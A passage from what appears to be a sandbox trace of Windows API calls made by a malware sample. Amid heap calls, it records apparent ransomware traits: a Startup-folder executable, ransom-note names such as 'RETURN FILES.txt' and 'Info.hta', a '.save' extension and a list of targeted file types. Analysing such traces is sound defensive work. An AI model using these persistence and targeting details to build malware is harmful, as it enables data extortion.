Size=0xc) returned 0x64b258 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b198 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64b0d8 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b180 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff2b8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b1f8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff2a8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b0a8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b1c8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b210 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b0f0 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b108 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b120 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b138 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b150 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b168 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64abf8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64ad78 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64ac40 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64acd0 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64ab20 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff2e8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64abc8 [0205.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64ab80 [0205.050] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64a670, Size=0x800) returned 0x64b280 [0205.051] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x648450 | out: hHeap=0x5c0000) returned 1 [0205.051] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c190 | out: hHeap=0x5c0000) returned 1 [0205.051] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff1e8, Size=0x8) returned 0x5ff3f8 [0205.051] lstrlenW (lpString=".save") returned 5 [0205.051] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c0b8 | out: hHeap=0x5c0000) returned 1 [0205.051] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c0e8, Size=0x20) returned 0x5feee0 [0205.051] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feee0, Size=0x40) returned 0x5d76e0 [0205.051] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d76e0, Size=0x80) returned 0x6472c0 [0205.051] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff1e8, Size=0x8) returned 0x5ff4b8 [0205.051] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff4b8, Size=0x10) returned 0x64c100 [0205.052] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c100, Size=0x20) returned 0x5fef80 [0205.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6472c0 | out: hHeap=0x5c0000) returned 1 [0205.052] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c100, Size=0x20) returned 0x5feff8 [0205.052] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feff8, Size=0x40) returned 0x5d79f8 [0205.052] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0205.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d79f8 | out: hHeap=0x5c0000) returned 1 [0205.052] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c148, Size=0x20) returned 0x5fef08 [0205.052] lstrlenW (lpString="Info.hta") returned 8 [0205.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef08 | out: hHeap=0x5c0000) returned 1 [0205.052] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x626448, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe")) returned 0x47 [0205.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x626448 | out: hHeap=0x5c0000) returned 1 [0205.052] lstrlenW (lpString="wmxsde.exe") returned 10 [0205.052] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef80, Size=0x40) returned 0x5d76e0 [0205.052] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c100, Size=0x20) returned 0x5fef08 [0205.053] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c100, Size=0x20) returned 0x5feff8 [0205.053] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feff8, Size=0x40) returned 0x5d7728 [0205.053] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7728, Size=0x80) returned 0x646798 [0205.053] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646798, Size=0x100) returned 0x649c60 [0205.053] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0205.053] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x649c60 | out: hHeap=0x5c0000) returned 1 [0205.053] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x626448, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0205.053] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c290 | out: hHeap=0x5c0000) returned 1 [0205.054] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x626448 | out: hHeap=0x5c0000) returned 1 [0205.055] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff378, Size=0x8) returned 0x5ff468 [0205.055] lstrlenW (lpString="%windir%;") returned 9 [0205.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef08 | out: hHeap=0x5c0000) returned 1 [0205.055] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0205.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x616440 | out: hHeap=0x5c0000) returned 1 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c148, Size=0x20) returned 0x5fef80 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef80, Size=0x40) returned 0x5d7b18 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7b18, Size=0x80) returned 0x646a40 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646a40, Size=0x100) returned 0x649c60 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff338, Size=0x8) returned 0x5ff348 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff348, Size=0x10) returned 0x64c190 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c190, Size=0x20) returned 0x5ff098 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff3e8, Size=0x8) returned 0x5ff388 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff378, Size=0x8) returned 0x5ff418 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff318, Size=0x8) returned 0x5ff3d8 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff3d8, Size=0x10) returned 0x64bc80 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64bc80, Size=0x20) returned 0x5fef08 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff388, Size=0x10) returned 0x64bd40 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff418, Size=0x10) returned 0x64bb90 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff328, Size=0x8) returned 0x5ff338 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff418, Size=0x8) returned 0x5ff3b8 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64bd40, Size=0x20) returned 0x5fedf0 [0205.056] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64bb90, Size=0x20) returned 0x5fef30 [0205.057] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff418, Size=0x8) returned 0x5ff3e8 [0205.057] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0205.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x649c60 | out: hHeap=0x5c0000) returned 1 [0205.057] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64bcf8, Size=0x20) returned 0x5fef80 [0205.057] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x64c290, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0205.057] lstrlenW (lpString="C:\\") returned 3 [0205.057] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c290 | out: hHeap=0x5c0000) returned 1 [0205.058] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff348, Size=0x82) returned 0x649c60 [0205.058] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff308, Size=0x100) returned 0x649cf0 [0205.058] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649c60, Size=0x104) returned 0x64a790 [0205.058] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649cf0, Size=0x200) returned 0x648450 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff368 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x648450 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bbf0 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646798 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bb00 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646468 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bd10 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64a790 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bb30 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64a670 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bb48 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64a700 | out: hHeap=0x5c0000) returned 1 [0205.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bd88 | out: hHeap=0x5c0000) returned 1 [0205.060] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64bbf0, Size=0x20) returned 0x5feff8 [0205.060] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feff8, Size=0x40) returned 0x5d7728 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff2f8 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bbd8 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6050a0 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bb18 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6471b0 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bc68 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff358 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64bcb0 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d54d8 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6440 | out: hHeap=0x5c0000) returned 1 [0205.060] lstrlenW (lpString="%systemdrive%") returned 13 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef80 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646b50 | out: hHeap=0x5c0000) returned 1 [0205.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff478 | out: hHeap=0x5c0000) returned 1 [0205.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x606420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0205.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10014) returned 0x64e298 [0205.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64bb00 [0205.061] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64bb00, Size=0x20) returned 0x5fef80 [0205.061] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef80, Size=0x40) returned 0x5d7578 [0205.061] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7578, Size=0x80) returned 0x646f08 [0205.061] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646f08, Size=0x100) returned 0x649c60 [0205.061] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649c60, Size=0x200) returned 0x649c60 [0205.061] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649c60, Size=0x400) returned 0x64a670 [0205.062] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64a670, Size=0x800) returned 0x65e2b8 [0205.062] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e2b8, Size=0x1000) returned 0x648450 [0205.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x616440 [0205.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64bda0 [0205.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64bc68 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5ff318 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64bc38 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5ff488 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bcf8 [0205.063] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff318, Size=0x8) returned 0x5ff478 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bb00 [0205.063] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff478, Size=0x10) returned 0x64bbf0 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bc80 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bc98 [0205.063] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64bbf0, Size=0x20) returned 0x5fef80 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bb60 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff348 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64bcb0 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64bd10 [0205.063] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef80, Size=0x40) returned 0x5d7968 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64bb18 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64bd40 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64bd58 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64bb30 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bb48 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bbd8 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff388 [0205.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bb90 [0205.064] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7968, Size=0x80) returned 0x646a40 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bbf0 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bc08 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626500 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626530 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626488 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626518 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626758 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff2f8 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626590 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626728 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626620 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626638 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626548 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6266c8 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626668 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626740 [0205.064] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646a40, Size=0x100) returned 0x627ec8 [0205.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6264a0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626560 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626680 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6265a8 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626698 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6266f8 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff328 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626578 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6266b0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6264e8 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5ff358 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626650 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6266e0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff418 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626710 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626770 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626608 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6265c0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6264b8 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6264d0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6265d8 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6265f0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x626950 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6268a8 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626890 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6267a0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6267b8 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff368 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626980 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626a10 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6269e0 [0205.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626800 [0205.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x627ec8, Size=0x200) returned 0x649c60 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6269f8 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff478 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626968 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6268c0 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626938 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626860 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626a58 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6267e8 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6267d0 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626a28 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626a70 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6268d8 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626998 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626818 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6268f0 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626830 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626908 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626848 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626920 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626788 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626878 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6269b0 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6269c8 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff308 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626a40 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626d40 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626bc0 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff498 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626c50 [0205.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626b00 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626c68 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626cf8 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626c08 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626c20 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ab8 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626d70 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) 